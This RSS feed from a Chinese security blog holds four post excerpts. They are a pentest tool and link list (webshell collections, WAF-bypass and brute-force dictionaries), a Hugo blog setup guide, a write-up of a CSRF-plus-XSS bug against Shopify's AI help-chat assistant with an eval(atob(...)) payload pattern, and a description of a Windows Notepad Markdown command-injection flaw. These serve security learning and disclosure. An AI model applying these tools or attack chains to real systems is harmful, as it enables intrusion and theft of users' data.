<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>CVE on 卡布奇诺的技术笔记</title><link>https://kabuqin.github.io/cappuccino.github.io/tags/cve/</link><description>Recent content in CVE on 卡布奇诺的技术笔记</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Sun, 28 Jun 2026 08:23:54 +0800</lastBuildDate><atom:link href="https://kabuqin.github.io/cappuccino.github.io/tags/cve/index.xml" rel="self" type="application/rss+xml"/><item><title>常用工具及网站（武器库）</title><link>https://kabuqin.github.io/cappuccino.github.io/posts/%E5%B8%B8%E7%94%A8%E5%B7%A5%E5%85%B7%E5%8F%8A%E7%BD%91%E7%AB%99%E6%AD%A6%E5%99%A8%E5%BA%93/</link><pubDate>Sat, 27 Jun 2026 00:00:00 +0000</pubDate><guid>https://kabuqin.github.io/cappuccino.github.io/posts/%E5%B8%B8%E7%94%A8%E5%B7%A5%E5%85%B7%E5%8F%8A%E7%BD%91%E7%AB%99%E6%AD%A6%E5%99%A8%E5%BA%93/</guid><description>&lt;h1 id="常用工具及网站武器库"&gt;常用工具及网站（武器库）&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;其他收录平台或项目传送门:&lt;br&gt;
开源扫描器收录地址：https://github.com/We5ter/Scanners-Box&lt;br&gt;
T00ls论坛收集工具集 &lt;a href="https://github.com/tengzhangchao/Sec-Box"&gt;https://github.com/tengzhangchao/Sec-Box&lt;/a&gt;&lt;br&gt;
渗透师导航：https://www.shentoushi.top/&lt;br&gt;
信息收集工具集：https://github.com/redhuntlabs/Awesome-Asset-Discovery&lt;br&gt;
K8工具集： &lt;a href="https://github.com/k8gege/K8tools"&gt;https://github.com/k8gege/K8tools&lt;/a&gt;&lt;br&gt;
APP测试：https://github.com/Brucetg/App_Security&lt;br&gt;
红队资源链接合集（干货超多）：https://github.com/hudunkey/Red-Team-links&lt;br&gt;
红队实用工具 ：https://github.com/Threekiii/Awesome-Redteam
另一个工具+EXP合集：https://github.com/Mr-xn/Penetration_Testing_POC/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以下为个人整理收集&lt;/p&gt;
&lt;h2 id="杂项"&gt;杂项&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;java 无文件webshell：https://github.com/rebeyond/memShell&lt;/li&gt;
&lt;li&gt;瑞士军刀Bettercap：https://github.com/bettercap/bettercap&lt;/li&gt;
&lt;li&gt;XSS批量扫描，源自先知：https://github.com/bsmali4/xssfork&lt;/li&gt;
&lt;li&gt;个人收集编写的POC：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;跨站数据劫持POC &lt;a href="https://github.com/nccgroup/CrossSiteContentHijacking"&gt;https://github.com/nccgroup/CrossSiteContentHijacking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;自动化测试工具，POC在script路径下 &lt;a href="https://github.com/Xyntax/POC-T/tree/master"&gt;https://github.com/Xyntax/POC-T/tree/master&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;收集各种语言的webshell：https://github.com/tennc/webshell&lt;/li&gt;
&lt;li&gt;XXE注入工具 Ruby编写：https://github.com/enjoiz/XXEinjector&lt;/li&gt;
&lt;li&gt;xxe 测试工具：https://github.com/TheTwitchy/xxer&lt;/li&gt;
&lt;li&gt;burp AES加密插件：https://github.com/Ebryx/AES-Killer&lt;/li&gt;
&lt;li&gt;XXE payload生成：https://github.com/BuffaloWill/oxml_xxe/&lt;/li&gt;
&lt;li&gt;Nginx 路径穿越burp测试插件：https://github.com/bayotop/off-by-slash&lt;/li&gt;
&lt;li&gt;红队自动化部署：https://github.com/360-A-Team/LuWu&lt;/li&gt;
&lt;li&gt;JS反混淆：https://github.com/mindedsecurity/JStillery&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="一些比较有用的burp插件"&gt;一些比较有用的burp插件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;基于规则匹配的高亮信息标记插件： &lt;a href="https://github.com/gh0stkey/HaE"&gt;https://github.com/gh0stkey/HaE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;添加一些burp右键菜单（Unicode解码、添加常用payload、筛除无关网站等） &lt;a href="https://github.com/bit4woo/knife"&gt;https://github.com/bit4woo/knife&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;HW打点资产管理 &lt;a href="https://github.com/bit4woo/domain_hunter_pro"&gt;https://github.com/bit4woo/domain_hunter_pro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;配合被动漏扫的插件： &lt;a href="https://github.com/c0ny1/passive-scan-client"&gt;https://github.com/c0ny1/passive-scan-client&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;破解前端加密： &lt;a href="https://github.com/c0ny1/jsEncrypter"&gt;https://github.com/c0ny1/jsEncrypter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;自动化扫描shiro漏洞： &lt;a href="https://github.com/pmiaowu/BurpShiroPassiveScan"&gt;https://github.com/pmiaowu/BurpShiroPassiveScan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;结合API对验证码进行识别（可搭配muggle-ocr库食用） &lt;a href="https://github.com/c0ny1/captcha-killer"&gt;https://github.com/c0ny1/captcha-killer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;自动扫描网页中的链接（可在插件商店下载） &lt;a href="https://github.com/GerbenJavado/LinkFinder"&gt;https://github.com/GerbenJavado/LinkFinder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;针对webservice（wsdl接口）生成poc测试（插件商店有，在装不上时可以直接下载release版本） &lt;a href="https://github.com/NetSPI/Wsdler"&gt;https://github.com/NetSPI/Wsdler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;方便筛选和记录burp流量的插件（可在插件商店下载）：https://github.com/nccgroup/LoggerPlusPlus&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="自动化扫描"&gt;自动化扫描&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SN1PER（功能：扫描开放端口、waf、指纹识别、目录扫描）：https://github.com/1N3/Sn1per&lt;/li&gt;
&lt;li&gt;web页面直接调用工具（dirsearch、masscan、amass、patator）扫描：https://github.com/c0rvax/project-black&lt;/li&gt;
&lt;li&gt;自动化扫描网站的CORS配置的漏洞：https://github.com/chenjj/CORScanner&lt;/li&gt;
&lt;li&gt;长亭X-ray漏洞扫描器：https://github.com/chaitin/xray/&lt;/li&gt;
&lt;li&gt;美杜莎漏扫：https://github.com/Ascotbe/Medusa&lt;/li&gt;
&lt;li&gt;w13scan：https://github.com/w-digital-scanner/w13scan&lt;/li&gt;
&lt;li&gt;利用github action 进行自动化扫描：https://github.com/inbug-team/InCloud&lt;/li&gt;
&lt;li&gt;集成了fofa、漏洞扫描、web指纹等多个扫描功能（也可在内网扫）：https://github.com/P1-Team/AlliN&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="应急响应"&gt;应急响应&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;应急响应工具集：https://github.com/meirwah/awesome-incident-response&lt;/li&gt;
&lt;li&gt;应急实战笔记：https://github.com/Bypass007/Emergency-Response-Notes&lt;/li&gt;
&lt;li&gt;进程查看：
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer"&gt;https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/processhacker/processhacker"&gt;https://github.com/processhacker/processhacker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="勒索病毒解密查询"&gt;勒索病毒解密查询：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nomoreransom.org/crypto-sheriff.php"&gt;https://www.nomoreransom.org/crypto-sheriff.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;奇安信：https://lesuobingdu.qianxin.com/&lt;/li&gt;
&lt;li&gt;VenusEye：https://lesuo.venuseye.com.cn/&lt;/li&gt;
&lt;li&gt;深信服：https://edr.sangfor.com.cn/#/information/ransom_search&lt;/li&gt;
&lt;li&gt;360：https://lesuobingdu.360.cn/&lt;/li&gt;
&lt;li&gt;腾讯：https://guanjia.qq.com/pr/ls/&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jiansiting/Decryption-Tools"&gt;https://github.com/jiansiting/Decryption-Tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="字典payloadfuzz"&gt;字典payload、fuzz&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;弱口令字典：https://weakpass.com/&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/7hang/Fuzz_dic"&gt;https://github.com/7hang/Fuzz_dic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings"&gt;https://github.com/swisskyrepo/PayloadsAllTheThings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/berzerk0/Probable-Wordlists"&gt;https://github.com/berzerk0/Probable-Wordlists&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/danielmiessler/SecLists"&gt;https://github.com/danielmiessler/SecLists&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;文件上传时文件名fuzz：https://github.com/c0ny1/upload-fuzz-dic-builder&lt;/li&gt;
&lt;li&gt;robots.txt 不允许访问的目录：https://github.com/danielmiessler/RobotsDisallowed&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/TheKingOfDuck/fuzzDicts"&gt;https://github.com/TheKingOfDuck/fuzzDicts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/1N3/IntruderPayloads"&gt;https://github.com/1N3/IntruderPayloads&lt;/a&gt; （burp_payload）&lt;/li&gt;
&lt;li&gt;网站暴破+xss+sqli：https://github.com/SilverPoision/a-full-list-of-wordlists/tree/master/Wordlists/burp_pack&lt;/li&gt;
&lt;li&gt;键盘组合、字母+数字混合密码暴破：https://github.com/huyuanzhi2/password_brute_dictionary&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ppbibo/PentesterSpecialDict"&gt;https://github.com/ppbibo/PentesterSpecialDict&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/r35tart/RW_Password"&gt;https://github.com/r35tart/RW_Password&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;假名生成器:https://github.com/joke2k/faker&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="信息收集"&gt;信息收集&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在线协作markdown，可用于团队内部信息共享（可在离线环境搭建）：https://github.com/hackmdio/codimd&lt;/li&gt;
&lt;li&gt;FOFA浏览器插件：https://github.com/fofapro/fofa_view&lt;/li&gt;
&lt;li&gt;WAF指纹识别及Bypass &lt;a href="https://github.com/Ekultek/WhatWaf"&gt;https://github.com/Ekultek/WhatWaf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;带截图go语言脚本扫描端口： &lt;a href="https://github.com/michenriksen/aquatone"&gt;https://github.com/michenriksen/aquatone&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;wfuzz：https://github.com/xmendez/wfuzz&lt;/li&gt;
&lt;li&gt;可用于host头碰撞或者各种fuzz：https://github.com/ffuf/ffuf&lt;/li&gt;
&lt;li&gt;host头碰撞：https://github.com/fofapro/Hosts_scan&lt;/li&gt;
&lt;li&gt;.git、.svn和.DS_Store利用：https://github.com/0xHJK/dumpall&lt;/li&gt;
&lt;li&gt;指纹识别（很多扫描工具都集成了，不列举了）：
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.yunsee.cn/"&gt;https://www.yunsee.cn/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/EASY233/Finger"&gt;https://github.com/EASY233/Finger&lt;/a&gt;
- &lt;a href="https://github.com/EdgeSecurityTeam/EHole"&gt;https://github.com/EdgeSecurityTeam/EHole&lt;/a&gt;
- gitlab版本识别：https://github.com/righel/gitlab-version-nse&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;目录扫描工具：
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/maurosoria/dirsearch"&gt;https://github.com/maurosoria/dirsearch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;caesar（自带扫描字典，原版已被删除）：https://github.com/zhanglei/Caesar&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;端口扫描：
&lt;ul&gt;
&lt;li&gt;RustScan（可以配置自动调用nmap）：https://github.com/RustScan/RustScan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;接口扫描：
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/Threezh1/JSFinder"&gt;https://github.com/Threezh1/JSFinder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;基于TamperMonkey的版本：https://github.com/Threezh1/Deconstruct/blob/main/DevTools_JSFinder/JSFinder.js&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;子域名收集：
&lt;ul&gt;
&lt;li&gt;基于企业备案信息查询：https://github.com/canc3s/cDomain&lt;/li&gt;
&lt;li&gt;根据SSL证书收集子域名：https://github.com/yassineaboukir/sublert&lt;/li&gt;
&lt;li&gt;python脚本+mangodb实时监控：https://github.com/guimaizi/get_domain&lt;/li&gt;
&lt;li&gt;可发现二级、三级子域名：https://github.com/infosec-au/altdns&lt;/li&gt;
&lt;li&gt;asyncio+aiodns大字典暴破子域名 &lt;a href="https://github.com/ldbfpiaoran/subdns"&gt;https://github.com/ldbfpiaoran/subdns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;基于Python3.8，可以通过多种API来获取并验证子域名： &lt;a href="https://github.com/shmilylty/OneForAll"&gt;https://github.com/shmilylty/OneForAll&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;浏览器插件：
&lt;ul&gt;
&lt;li&gt;熊猫头： &lt;a href="https://github.com/ResidualLaugh/FindSomething"&gt;https://github.com/ResidualLaugh/FindSomething&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;检测VUE站点未授权漏洞：https://github.com/Ad1euDa1e/VueCrack
- 网页敏感信息检测，指纹识别：https://github.com/SickleSec/SnowEyes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="waf绕过"&gt;WAF绕过&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;MYSQL_SQL注入: &lt;a href="https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI"&gt;https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;waf指纹字典及绕过方式：https://github.com/0xInfection/Awesome-WAF&lt;/li&gt;
&lt;li&gt;waf识别脚本：https://github.com/stamparm/identYwaf&lt;/li&gt;
&lt;li&gt;自动化绕WAF：https://github.com/khalilbijjou/WAFNinja&lt;/li&gt;
&lt;li&gt;绕过瑞数反爬：https://github.com/R0A1NG/Botgate_bypass&lt;/li&gt;
&lt;li&gt;一个基于fuzz的waf绕过测试工具：https://github.com/leveryd/x-waf&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提权"&gt;提权&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Windows&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;windows提权在线辅助：http://bugs.hacking8.com/tiquan/&lt;/p&gt;</description></item><item><title>使用 Hugo + GitHub Pages 免费搭建技术博客</title><link>https://kabuqin.github.io/cappuccino.github.io/posts/%E5%85%8D%E8%B4%B9%E6%90%AD%E5%BB%BA%E5%B1%9E%E4%BA%8E%E8%87%AA%E5%B7%B1%E7%9A%84github%E5%8D%9A%E5%AE%A2%E7%BD%91%E7%AB%99/</link><pubDate>Sat, 27 Jun 2026 00:00:00 +0000</pubDate><guid>https://kabuqin.github.io/cappuccino.github.io/posts/%E5%85%8D%E8%B4%B9%E6%90%AD%E5%BB%BA%E5%B1%9E%E4%BA%8E%E8%87%AA%E5%B7%B1%E7%9A%84github%E5%8D%9A%E5%AE%A2%E7%BD%91%E7%AB%99/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## 一、项目概述：为什么选择 Hugo + GitHub Pages？
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;对于技术博主来说，最理想的写作体验是“**用 Markdown 写作，Git 管理版本，一次推送自动上线**”。而 &lt;span style="font-weight:bold"&gt;**Hugo + GitHub Pages + GitHub Actions**&lt;/span&gt; 的组合，恰好能完美实现这个流程。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;这套方案的核心优势非常突出：
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 优势 | 说明 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|------|------|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="font-weight:bold"&gt;**完全免费**&lt;/span&gt; | GitHub Pages 提供免费托管 + 全球 CDN 加速，无需购买服务器 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="font-weight:bold"&gt;**极致性能**&lt;/span&gt; | Hugo 是Go语言写的静态生成器，构建速度毫秒级，生成纯HTML页面，访问极快 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="font-weight:bold"&gt;**高安全性**&lt;/span&gt; | 没有数据库、没有服务端脚本，从根本上杜绝了SQL注入等常见漏洞 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="font-weight:bold"&gt;**版本控制**&lt;/span&gt; | 所有文章和配置都用 Git 管理，历史变更清晰可查 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="font-weight:bold"&gt;**写作纯粹**&lt;/span&gt; | 用 Markdown 写作，专注于内容本身 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;下面以开源项目 &lt;span style="font-style:italic"&gt;**&lt;/span&gt;[&lt;span style="color:#f92672"&gt;cappuccino.github.io&lt;/span&gt;](&lt;span style="color:#a6e22e"&gt;https://github.com/kabuqin/cappuccino.github.io&lt;/span&gt;)** 为参考，一步步带你搭建属于自己的技术博客。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## 二、技术选型
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;参考这个项目的技术栈：
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **框架**：[&lt;span style="color:#f92672"&gt;Hugo&lt;/span&gt;](&lt;span style="color:#a6e22e"&gt;https://gohugo.io/&lt;/span&gt;) —— 全球最快的静态网站生成器
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **主题**：[&lt;span style="color:#f92672"&gt;Gokarna&lt;/span&gt;](&lt;span style="color:#a6e22e"&gt;https://github.com/gokarna-theme/gokarna-hugo&lt;/span&gt;) —— 极简风格，专注于内容呈现
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **托管**：GitHub Pages —— 永久免费，自带SSL证书和CDN加速
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; **自动化部署**：GitHub Actions —— 推送代码后自动构建并发布
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;你也可以选择其他主题，如 PaperMod、Ananke 等，Hugo 官方主题库有 2000+ 主题可供选择。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## 三、详细搭建步骤
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;### 第一步：安装 Hugo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="font-weight:bold"&gt;**Mac（使用 Homebrew）**&lt;/span&gt;：
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;```bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;brew install hugo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Windows（使用 Scoop）&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>Shopify Help Center AI 助手 Markdown 渲染缺陷导致 CSRF 与 RXSS 组合攻击</title><link>https://kabuqin.github.io/cappuccino.github.io/posts/shopify-help-center-ai-%E5%8A%A9%E6%89%8B-markdown-%E6%B8%B2%E6%9F%93%E7%BC%BA%E9%99%B7%E5%AF%BC%E8%87%B4-csrf-%E4%B8%8E-rxss-%E7%BB%84%E5%90%88%E6%94%BB%E5%87%BB/</link><pubDate>Tue, 23 Jun 2026 00:00:00 +0000</pubDate><guid>https://kabuqin.github.io/cappuccino.github.io/posts/shopify-help-center-ai-%E5%8A%A9%E6%89%8B-markdown-%E6%B8%B2%E6%9F%93%E7%BC%BA%E9%99%B7%E5%AF%BC%E8%87%B4-csrf-%E4%B8%8E-rxss-%E7%BB%84%E5%90%88%E6%94%BB%E5%87%BB/</guid><description>&lt;h2 id="shopify-help-center-ai-助手-markdown-渲染缺陷导致-csrf-与-rxss-组合攻击"&gt;Shopify Help Center AI 助手 Markdown 渲染缺陷导致 CSRF 与 RXSS 组合攻击&lt;/h2&gt;
&lt;p&gt;该报告（#2509022）披露了 Shopify 帮助中心（&lt;code&gt;help.shopify.com&lt;/code&gt;）的 AI 聊天助手在处理 Markdown 图片渲染时存在缺陷，攻击者可利用跨站请求伪造（CSRF）在受害者会话中植入恶意 Markdown 图片链接，最终触发反射型 XSS（RXSS），进而泄露用户个人信息并劫持支持对话。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="漏洞概述"&gt;漏洞概述&lt;/h3&gt;
&lt;p&gt;Shopify 帮助中心的 AI 聊天机器人在向用户展示问候语时，支持 Markdown 语法以丰富对话体验。在问候语的生成过程中，部分用户可控的输入会被直接反射到页面中。攻击者通过一个 CSRF 请求，可在受害者的会话中设置包含恶意 Markdown 图片的问候语。当受害者后续访问搜索页面时，该问候语被渲染，其中的 Markdown 图片链接因 &lt;code&gt;target=&amp;quot;_blank&amp;quot;&lt;/code&gt; 属性，需要用户使用鼠标中键点击才能触发 XSS（但攻击者可通过社会工程诱导用户执行该操作）。一旦触发，恶意脚本将窃取受害者个人信息，并尝试将攻击者邮箱添加为受害者已有支持对话的订阅者，从而获取对话内容或参与其中。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="根本原因"&gt;根本原因&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CSRF 漏洞&lt;/strong&gt;：&lt;code&gt;https://help.shopify.com/en/search&lt;/code&gt; 端点接受 &lt;code&gt;POST&lt;/code&gt; 请求，其中 &lt;code&gt;greeting&lt;/code&gt; 参数可被攻击者任意设置，且该请求缺乏有效的 CSRF 防护（如 anti-CSRF token 或同源校验），使得攻击者可以跨站诱导已登录用户发起该请求，将恶意问候语存入受害者会话。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Markdown 渲染缺陷&lt;/strong&gt;：问候语中的 Markdown 图片语法（&lt;code&gt;![alt](url)&lt;/code&gt;）会被解析并渲染为 HTML 链接（&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 标签），且该链接带有 &lt;code&gt;target=&amp;quot;_blank&amp;quot;&lt;/code&gt; 属性，用户点击时会在新标签页打开。攻击者将 &lt;code&gt;javascript:&lt;/code&gt; 伪协议作为图片 URL，构造出可执行代码的链接。虽然浏览器对 &lt;code&gt;javascript:&lt;/code&gt; 协议在新窗口中的执行有所限制（需要用户主动点击），但攻击者通过 &lt;code&gt;mouse wheel click&lt;/code&gt;（鼠标中键点击）即可绕过部分限制，触发 XSS。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;XSS 载荷的编码与混淆&lt;/strong&gt;：攻击者将完整的 JavaScript 载荷进行 Base64 编码，并放置在 &lt;code&gt;javascript:eval(atob('...'))&lt;/code&gt; 中，以规避简单过滤。&lt;/p&gt;</description></item><item><title>CVE-2026-20841：Windows 记事本高危远程代码执行漏洞</title><link>https://kabuqin.github.io/cappuccino.github.io/posts/cve-2026-20841/</link><pubDate>Mon, 27 Apr 2026 00:00:00 +0000</pubDate><guid>https://kabuqin.github.io/cappuccino.github.io/posts/cve-2026-20841/</guid><description>&lt;p&gt;&lt;strong&gt;CVE-2026-20841 漏洞详细介绍：Windows 记事本高危远程代码执行漏洞&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一、漏洞概述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;CVE-2026-20841 是一个由微软在2026年2月“补丁星期二”更新中正式修复的高危远程代码执行（Remote Code Execution, RCE）漏洞，影响广泛使用的 Windows 记事本（Notepad）应用。该漏洞编号为 CVE-2026-20841，CVSS v3.1 基础评分为 &lt;strong&gt;8.8&lt;/strong&gt;，属于高危等级，微软将其严重性评定为“Important”（重要）。尽管目前尚未发现野外利用的案例，但其攻击路径简单、利用门槛低，一旦被恶意利用，可能导致用户系统被完全控制，构成严重安全威胁。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二、漏洞成因与技术原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该漏洞存在于 &lt;strong&gt;Microsoft Store 分发的新版 Windows 记事本&lt;/strong&gt;（也称“现代化记事本”）中，与旧版系统内置的纯文本记事本无关。新版记事本为支持现代文档格式，新增了对 Markdown（.md）文件的解析与预览功能，但在此过程中存在严重的安全校验缺失。&lt;/p&gt;
&lt;p&gt;漏洞本质为 &lt;strong&gt;命令注入（Command Injection）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;攻击者可构造一个看似正常的 &lt;code&gt;.md&lt;/code&gt; 文件，嵌入伪装链接（如“点击查看详情”），当用户使用新版记事本打开并点击该链接时，系统将自动执行恶意命令，实现远程代码执行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三、攻击流程与危害&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;构造恶意文件&lt;/strong&gt;：攻击者创建一个包含特制链接的 Markdown 文件，内容伪装为工作文档、技术笔记等，提升欺骗性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;诱导用户打开&lt;/strong&gt;：通过邮件、社交软件、共享链接等方式传播文件，诱导用户使用新版记事本打开。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;点击触发执行&lt;/strong&gt;：用户点击链接瞬间，记事本解析并执行恶意命令，如：
&lt;ul&gt;
